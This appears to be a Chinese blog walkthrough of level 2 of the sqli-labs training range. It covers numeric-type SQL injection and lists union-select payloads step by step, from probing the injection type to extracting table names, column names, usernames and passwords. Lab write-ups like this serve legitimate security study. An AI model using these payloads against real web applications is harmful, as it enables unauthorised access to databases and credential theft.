当前位置: 首页 > ai >正文

sqli-labs靶场第二关——数字型

一:查找注入类型:

输入

?id=1'--+

与第一关的差别:报错;

说明不是字符型

渐进测试:?id=1--+,结果正常,说明是数字型

二:判断列数和回显位

?id=1 order by 3--+

正常, 说明有三列,然后找回显点

?id=-1 union select 1,2,3--+

 

三:找数据库名

?id=-1 union select 1,database(),3--+

得到数据库名:security

四:找所有的表和列

表:

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

复习拆解句子:(直接查询)

 group_select:聚合函数,将多行数据合并成一个字符串,帮助我们高效提取信息

table_name:表名

information_schema.table:数据库中所有表的信息

table_schema:数据库名

列: 

?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+

复习拆解:(嵌套查询)

1.内层又加上select的原因: 要嵌套查询,顺序如下:

                                表 → 子查询(group_concat)→ 作为值插入外层SELECT的列

column_name:列名

infromation_schema.columns:包含所有表的列的信息

table_schema:数据库名

table_name:表名

五:查数据!

?id=-1 union select 1,group_concat(username),group_concat(password) from users--+

 

六:复盘总结

 如何在一开始确定基于错误注入(Error-based)的注入类型(数字/字符/括号):

http://www.xdnf.cn/news/4953.html

相关文章:

  • 手写 vue 源码 === ref 实现
  • SCADA|KIO程序导出变量错误处理办法
  • AGV通信第2期|AGV集群智能路径规划解决方案
  • 单片机-STM32部分:9-1、触控检测芯片
  • 【“星睿O6”AI PC开发套件评测】+ MTCNN 开源模型部署和测试对比
  • Vue 3 中编译时和运行时的概念区别
  • Vue3 el-tree:全选时只返回父节点,半选只返回勾选中的节点(省-市区-县-镇-乡-村-街道)
  • 华为5.7机考-最小代价相遇的路径规划Java题解
  • 什么是源网荷储一体化
  • 集成电路流片随笔26:tinyriscv的三级流水线细则pc
  • 深入解析C++核心特性:运算符重载、继承、多态与抽象类
  • Midscene.js Chrome 插件实战:AI 驱动的 UI 自动化测试「喂饭教程」
  • javax.net.ssl.SSLHandshakeException: No appropriate protocol
  • 湖南大学-操作系统实验5
  • 几款适合Windows的工具,小巧而精致
  • 【软件设计师:多媒体】14.多媒体技术及其应用
  • Excel图表 vs 专业可视化工具:差距有多大?内容摘要
  • Navicat BI 数据分析功能上线 | 数据洞察新方法
  • 计算机网络笔记(十八)——3.5高速以太网
  • Python 打包时包含字库文件的方法
  • 浏览器自动化与网络爬虫实战:工具对比与选型指南
  • 基于springboot的海洋环保知识分享系统的设计与实现
  • 相机的方向和位置
  • 如何在 DataGridView 中加载大型数据集
  • 在一台CentOS服务器上开启多个MySQL服务
  • # 交换排序:从冒泡到快速排序的深度解析
  • WHAT - 简单服务发现
  • 【Bootstrap V4系列】学习入门教程之 组件-表单(Forms)
  • kuka, fanuc, abb机器人和移动相机的标定
  • 03 mysql 连接